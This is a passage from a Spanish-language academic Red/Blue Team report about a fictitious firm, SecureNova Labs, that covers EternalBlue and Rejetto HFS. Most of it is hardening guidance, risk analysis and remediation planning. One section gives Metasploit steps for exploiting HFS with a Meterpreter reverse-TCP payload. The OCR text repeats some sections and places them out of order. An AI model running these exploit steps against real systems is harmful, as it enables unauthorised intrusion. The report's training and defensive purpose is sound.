medidas criticas como el aislamiento del host mediante EDR para preservar la memoria RAM y la
eliminacion de binarios maliciosos para garantizar una erradicacion efectiva. Este marco operativo
asegura que el equipo técnico y la gerencia actiien de manera coordinada para restaurar la

integridad de la infraestructura tecnologica.
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Tabla 5

Estrategias de Endurecimiento y Mitigacion
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Vulnerabilidad Accién de Mitigacion Prioridad
MS17-010 Deshabilitar protocolo SMBv1 via GPO o Registro y aplicar
(EternalBlue) parche de seguridad MS17-010. Critica
Rejetto HFS RCE  Desinstalar inmediatamente la aplicacion Rejetto HFS 2.3.
Migrar a soluciones seguras como IIS o Apache con HTTPS. Alta
Cuentas Locales Aplicar principio de minimo privilegio. Los usuarios estandar
no deben ser administradores locales. Media

Nota. La tabla establece una hoja de ruta estratégica para la mitigacion de riesgos, priorizando la

desactivacion del protocolo SMBv1 mediante politicas de grupo para neutralizar la vulnerabilidad

EternalBlue. Se recomienda la desinstalacion inmediata del software Rejetto HFES 2.3 por su alto

riesgo de ejecucion remota, sugiriendo la migracion hacia servidores web mas robustos y cifrados.

Asimismo, se subraya la importancia de aplicar el principio de minimo privilegio en las cuentas

locales para evitar que usuarios estandar posean permisos de administrador. Estas medidas

correctivas estan disefiadas para cerrar los vectores de ataque explotados y elevar el nivel de

seguridad general de la infraestructura. Autoria propia.



73

Aplicacion Detallada de CIS Benchmarks (Windows)

El Center for Internet Security (CIS, 2020) proporciona estdndares de configuracion
reconocidos globalmente. Para SecureNova Labs, la implementacion de una "Linea Base Segura"
(Secure Baseline) basada en CIS para Windows 7/10 y Server es obligatoria para prevenir la
recurrencia. A continuacion, se detallan las configuraciones técnicas especificas a aplicar mediante
Politicas de Grupo (GPO).

1. Politicas de Cuenta y Contrasefias (Account Policies) El ataque de fuerza bruta o la
reutilizacion de credenciales se mitiga endureciendo estos parametros.

Tabla 6

CIS Benchmarks - Politicas de Cuenta

Configuracion CIS Valor Recomendado Impacto en Seguridad
Minimum password length 14 caracteres o mas. Dificulta exponencialmente el craqueo de
contrasenas.
Password complexity Habilitado (Enabled).  Obliga uso de mayusculas, nimeros y
requirements simbolos.
Enforce password history 24 contrasefias Evita que usuarios reutilicen claves antiguas
recordadas. comprometidas.
Account lockout threshold 5 intentos invalidos. Detiene ataques de fuerza bruta

automatizados (Hydra/Medusa).
Reset account lockout 15 minutos o mas. Define cuéanto tiempo debe esperar el

counter atacante tras el bloqueo.
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Nota. Esta tabla presenta una comparativa de configuraciones basadas en el estandar CIS para

fortalecer las politicas de contrasefias y el control de accesos en el sistema. Se establecen requisitos

de complejidad y una longitud minima de 14 caracteres para mitigar técnicas de craqueo, ademas

de un historial de 24 claves para prevenir la reutilizacion de credenciales vulnerables. La

implementacion de un umbral de bloqueo de cuenta tras 5 intentos invalidos actua como una

defensa directa contra ataques de fuerza bruta automatizados como los realizados con Hydra o

Medusa. Estas directrices de endurecimiento (hardening) son esenciales para reducir la superficie

de ataque y robustecer la gestion de identidades dentro de la red. Asignacion de Derechos de

Usuario (User Rights Assignment) Controlar quién puede hacer qué en el sistema es vital para

frenar la escalada de privilegios y el movimiento lateral. Autoria propia.

Tabla 7

CIS Benchmarks - Derechos de Usuario

Configuracion CIS

Valor Recomendado Justificacion Técnica

Deny access to this
computer from the

network

Debug programs

Shut down the system

Guests, Local Accounts.Evita que cuentas locales (como la creada por
el atacante) se usen para moverse por la red via
SMB/RDP.
Restringe la capacidad de inyectar codigo en
Administrators (Solo). procesos (técnica usada por Meterpreter para

migrar procesos).
Previene que un usuario malintencionado
Administrators, Backup cause una Denegacion de Servicio apagando el

Operators. servidor.
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Nota. La tabla expone configuraciones criticas de asignacion de derechos de usuario orientadas a
restringir movimientos laterales y la escalada de privilegios dentro del sistema. Se destaca la
denegacion de acceso a cuentas locales desde la red para neutralizar el uso de protocolos como
SMB o RDP por parte de atacantes, ademas de restringir la depuracion de programas tnicamente
a administradores. Esta Gltima medida es vital para prevenir la inyeccion de codigo y la migracion
de procesos maliciosos, técnicas comunes en herramientas como Meterpreter. Al limitar también
el permiso de apagado del sistema, se protege la disponibilidad del servidor frente a posibles
ataques de denegacion de servicio internos. Autoria propia.

Opciones de Seguridad (Security Options): Configuraciones del registro que afectan el
comportamiento del sistema operativo.
Tabla 8

CIS Benchmarks - Opciones de Seguridad

Configuracion CIS Valor Mitigacion de Vulnerabilidad
Recomendado
SMB Server: Digitally sign Always Previene ataques de SMB Relay y Man-in-the-
communications (Enabled). Middle.
Interactive logon: Do not Enabled. Evita que un atacante fisico vea nombres de
display last user name usuarios validos en la pantalla de login.

User Account Control (UAC)  Always notify.  Asegura que cualquier intento de elevar

privilegios requiera confirmacion explicita.

Nota. Esta tabla detalla controles preventivos enfocados en la integridad de las comunicaciones y
la proteccion de la interfaz de usuario segun estandares CIS. La firma digital obligatoria en el

servidor SMB es fundamental para neutralizar ataques de tipo Man-in-the-Middle y SMB Relay,
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asegurando que el trafico de red no sea interceptado ni suplantado. Adicionalmente, se
establecen medidas de ofuscacion en el inicio de sesion y la activacion maxima del Control de
Cuentas de Usuario (UAC) para forzar la autorizacion de cualquier elevacion de privilegios.
Estas configuraciones robustecen el sistema frente a vectores de ataque tanto fisicos como
remotos, garantizando un entorno operativo mas resistente a compromisos de seguridad. Autoria
propia.

Implementacion de CIS Controls V8

Ademas de los benchmarks técnicos, se debe adoptar la estructura de los CIS Controls
Version § para la gestion estratégica de la seguridad. Estos controles se dividen en Grupos de
Implementacion (IG). Para SecureNova Labs, se recomienda iniciar con el IG1 (Higiene
Cibernética Bésica).

Control 04: Configuracion Segura de Activos y Software

e Accion: Establecer y mantener una configuracion segura para activos empresariales
(laptops, servidores) y software.

e Aplicacion en el Caso: Si el Host-A hubiera tenido una imagen "Gold Image"
endurecida con SMBv1 deshabilitado por defecto, el exploit EternalBlue habria fallado,
independientemente de la falta del parche.

Control 05: Gestion de Cuentas

e Accion: Usar procesos y herramientas para asignar y gestionar credenciales de
usuario, incluyendo privilegios administrativos.

e Aplicacion en el Caso: La creacion de la cuenta "Johan Rojas" debi6 disparar una
alerta inmediata. Se debe implementar una revision trimestral de cuentas activas y deshabilitar

cuentas inactivas por mas de 45 dias.
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Control 06: Gestion del Control de Acceso

e Accion: Usar procesos para otorgar, revocar y gestionar credenciales de acceso.

e Aplicacion en el Caso: Restringir el acceso RDP y SMB solo a IPs de administracion
(Management VLAN) habria contenido el movimiento lateral hacia el Host-B.

Métricas e Indicadores de Seguridad (KPIs)

Para medir la efectividad de las estrategias implementadas por el Blue Team, se proponen
los siguientes indicadores clave de desempeio:

1. Mean Time to Detect (MTTD): Tiempo promedio que toma detectar una
intrusion. (Objetivo: < 4 horas).

2. Mean Time to Respond (MTTR): Tiempo promedio para contener y erradicar la
amenaza una vez detectada. (Objetivo: < 2 horas).

3. Cobertura de Parches: Porcentaje de activos criticos con parches de seguridad
aplicados en menos de 30 dias. (Objetivo: > 95%).

4. Cumplimiento de CIS Benchmarks: Porcentaje de configuraciones que cumplen con

el estdndar definido. (Objetivo: > 90%).
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Fase de Explotacion y Acceso Inicial

Se seleccion¢ el vector de ataque a través de HFS utilizando Metasploit Framework.

Pasos detallados de la explotacion:

1. Inicio de la consola: msfconsole.

2. Busqueda del exploit: search hfs.

3. Seleccion del médulo: use exploit/windows/http/rejetto_hfs exec.

4. Configuracion del Payload: set payload windows/meterpreter/reverse tcp. Este
payload crea una conexion desde la victima hacia el atacante, evadiendo firewalls simples que
solo bloquean el trafico entrante.

5. Configuracion de objetivos: set RHOSTS [IP_ VICTIMA], set LHOST

[IP ATACANTE].

Métricas e Indicadores de Seguridad (KPIs)

Para medir la efectividad de las estrategias implementadas por el Blue Team, se proponen
los siguientes indicadores clave de desempefio:

1. Mean Time to Detect (MTTD): Tiempo promedio que toma detectar una
intrusion. (Objetivo: < 4 horas).

2. Mean Time to Respond (MTTR): Tiempo promedio para contener y erradicar la
amenaza una vez detectada. (Objetivo: < 2 horas).

3. Cobertura de Parches: Porcentaje de activos criticos con parches de seguridad
aplicados en menos de 30 dias. (Objetivo: > 95%).

4. Cumplimiento de CIS Benchmarks: Porcentaje de configuraciones que cumplen

con el estandar definido. (Objetivo: > 90%).
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Evaluacion de Riesgos y Matriz de Impacto

Para complementar la estrategia defensiva, es imperativo realizar una evaluacion de riesgos
formal basada en los hallazgos del ejercicio de Red Team. Esta matriz permite a la gerencia
visualizar el impacto financiero y operativo de las vulnerabilidades explotadas.

Metodologia de Evaluacion: Se utiliza una matriz cualitativa de 5x5 (Probabilidad vs.

Impacto) segtin la norma ISO 27005.

o Probabilidad (1-5): Qué tan probable es que la amenaza se materialice.
o Impacto (1-5): Qué dafio causaria a la confidencialidad, integridad o
disponibilidad.

o Nivel de Riesgo: Probabilidad x Impacto (Bajo, Medio, Alto, Critico).
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Tabla 9

Matriz de Riesgos de Ciberseguridad

Activo Amenaza Vulnerabilidad Probabilidad Impacto Riesgo Nivel

P) M (PxI)

Host-A  Ransomware / RCE SMBv1
(Windows 7) Habilitado 5 (Casi 5 25 Critico
(MS17-010) seguro)  (Catastréfico)

Servidor Intrusion/Defacement Rejetto HFS 2.3 5 (Casi 4 (Mayor) 20 Critico

Web Obsoleto seguro)
Basede Exfiltracion de Datos Falta de 4 (Probable) 5 20 Critico
Datos (Host- Segmentacion (Catastrofico)
B) (Pivoting)

Credenciales Acceso No Cuentas locales 3 (Posible) 3 (Moderado) 9 Medio

Autorizado sin rotacion

Nota. La tabla presenta una matriz de evaluacion de riesgos que cuantifica las amenazas
detectadas basandose en la probabilidad de ocurrencia y el impacto potencial sobre los activos
criticos. Se identifican tres niveles criticos de riesgo en el Host-A, el Servidor Web y la Base de
Datos debido a vulnerabilidades como MS17-010 y la falta de segmentacion de red, las cuales
facilitan ataques de RCE y técnicas de pivoting. El calculo del riesgo (PxI) prioriza la atencion
inmediata sobre estos activos para evitar consecuencias catastroficas como la exfiltracion masiva
de datos o el despliegue de ransomware. Esta documentacion es vital para justificar la asignacion

de recursos en la fase de remediacion y el fortalecimiento de la infraestructura tecnologica.
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Propuesta de Arquitectura de Red Segura (Zero Trust)

El ejercicio demostrd que una arquitectura plana (donde todos los equipos se ven entre si)
facilita el movimiento lateral. Se propone la migracion hacia un modelo Zero Trust (Confianza
Cero), basado en el principio "Nunca confiar, siempre verificar".

Principios de Disefio

1. Micro-segmentacion: Dividir la red en zonas de seguridad pequefias y aisladas. El
Host- A (Desarrollo) no deberia tener visibilidad de red hacia el Host-B (Produccioén) a menos
que sea estrictamente necesario y a través de un Firewall de Nueva Generacion (NGFW).

2. Zona Desmilitarizada (DMZ): Los servicios expuestos a internet (como el
servidor web HFS, si fuera necesario) deben estar en una DMZ aislada, sin acceso directo a la red
interna (LAN).

3. Gestion Fuera de Banda (OOB): La administracion de servidores (RDP, SSH)
debe realizarse a través de una VLAN de gestion dedicada y protegida por autenticacion
multifactor (MFA).

Plan de Implementacion por Fases
Para llevar a SecureNova Labs del estado actual (vulnerable) al estado deseado (seguro),

se estructura la siguiente hoja de ruta.
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Cronograma de Implementacion de Mejoras
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Tiempo
Fase Accion Estratégica Estimado Entregable
Parcheo de MS17-010 y Reporte de Vulnerabilidades
1. Inmediata Eliminacion de HFS. Semana 1 Limpio.
2. Corto Plazo  Implementacion de GPOs de Auditoria de Configuracion
Hardening (CIS L1). Mes 1 Exitosa.
3. Mediano Segmentacion de Red (VLANSs) y
Plazo NAC. Mes 3 Diagrama de Red Validado.
4. Largo Plazo Despliegue de SIEM y SOC 24/7. Dashboard de Monitoreo en
Mes 6 Tiempo Real.

Nota. La tabla establece un cronograma de remediacion estructurado en cuatro fases temporales

para fortalecer la postura de seguridad de la organizacion de manera progresiva. Se priorizan

acciones inmediatas como el parcheo de MS17-010 y la eliminacién de software obsoleto, seguidas

por la implementacion de directrices de hardening CIS mediante politicas de grupo. A mediano y

largo plazo, el plan contempla la segmentacion de red mediante VLANs y el despliegue de un

centro de operaciones de seguridad (SOC) para garantizar el monitoreo continuo de activos

criticos. Esta planificacion asegura que las vulnerabilidades méas explotables sean neutralizadas

mientras se construye una defensa en profundidad robusta y escalable. Autoria propia.
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Propuesta de Politicas de Seguridad Corporativa

Como parte del endurecimiento administrativo, se deben formalizar las siguientes
politicas:

Politica de Control de Acceso

o "Todo acceso remoto administrativo debe realizarse exclusivamente a través
de la VPN corporativa con doble factor de autenticacion (2FA)".

o "Las cuentas de usuario genéricas o compartidas estan estrictamente
prohibidas".

Politica de Gestion de Vulnerabilidades

"Todos los activos criticos deben ser escaneados semanalmente. Las vulnerabilidades
criticas (CVSS > 9.0) deben remediarse en un plazo maximo de 48 horas".
Politica de Uso de Software (Shadow IT)

"Queda prohibida la instalacion de software no autorizado por el departamento de TI. El
uso de servidores web portables (como HFS) en equipos de produccion sera causal de sancion
disciplinaria".

Evidencias de Sustentacion

En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta

el video de sustentacion disponible en el siguiente enlace:

Video de sustentacion del informe final: https://youtu.be/M1u30FucROU
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Conclusiones

Se concluye que la exposicion de servicios innecesarios, como el puerto 80 con software
obsoleto (HFS) y el puerto 445 (SMB), aumenta drasticamente la superficie de ataque. El uso de
herramientas de escaneo activo permiti6 identificar versiones de software vulnerables sin
necesidad de credenciales, evidenciando fallas en la gestion de inventarios tecnoldgicos.

La ejecucion exitosa de los exploits EternalBlue (MS17-010) y Rejetto HFS demostro que
la falta de parches de seguridad es el riesgo mas critico para la organizacion. Se evidencid que los
sistemas legados como Windows 7, que ya no reciben soporte oficial, son puertas de entrada
triviales para atacantes, permitiendo comprometer la confidencialidad e integridad del sistema en
cuestion de minutos. El ejercicio de Pivoting confirmé que una arquitectura de red plana (sin
segmentacion) facilita la propagacién de amenazas. Al comprometer un solo host, fue posible
alcanzar servidores internos que deberian haber estado aislados. Asimismo, la facilidad para
escalar privilegios evidencio la falta de controles en la gestion de cuentas y permisos locales.La
respuesta al incidente resalto la necesidad de contar con herramientas de monitoreo en tiempo real
(SIEM/EDR). La deteccion manual basada en logs reactivos resulto lenta frente a la velocidad del
ataque automatizado. Se concluye que la implementacion de una estrategia de Defensa en

Profundidad es obligatoria para garantizar la continuidad del negocio ante intrusiones modernas.
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Recomendaciones

Se recomienda desplegar Microsoft LAPS para gestionar las contrasefias de las cuentas de
administrador local. Esto evita que todos los equipos tengan la misma contrasefia administrativa,
mitigando el riesgo de movimiento lateral si un equipo es comprometido.

Es imperativo deshabilitar el protocolo SMB version 1 mediante Group Policy Object
(GPO) en toda la infraestructura y forzar el uso de SMBv2/v3 cifrado para prevenir ataques tipo
EternalBlue y Man-in-the-Middle.

Se debe reestructurar la red implementando VLANSs para separar los entornos de
desarrollo, produccion y gestion. Se recomienda adoptar un enfoque Zero Trust donde el trafico
entre segmentos esté bloqueado por defecto y solo se permita lo estrictamente necesario a través
de Firewalls de Nueva Generacion (NGFW).

Implementar una solucion centralizada (como WSUS o SCCM) que fuerce la instalacion
de actualizaciones de seguridad criticas en un plazo no mayor a 7 dias tras su lanzamiento,
priorizando vulnerabilidades con exploits conocidos (KEV).

Auditar y restringir los permisos de los usuarios. Los empleados no deben tener permisos
de administrador local en sus estaciones de trabajo para evitar la instalacion de software no

autorizado (Shadow IT) como el servidor HFS detectado en este ejercicio.
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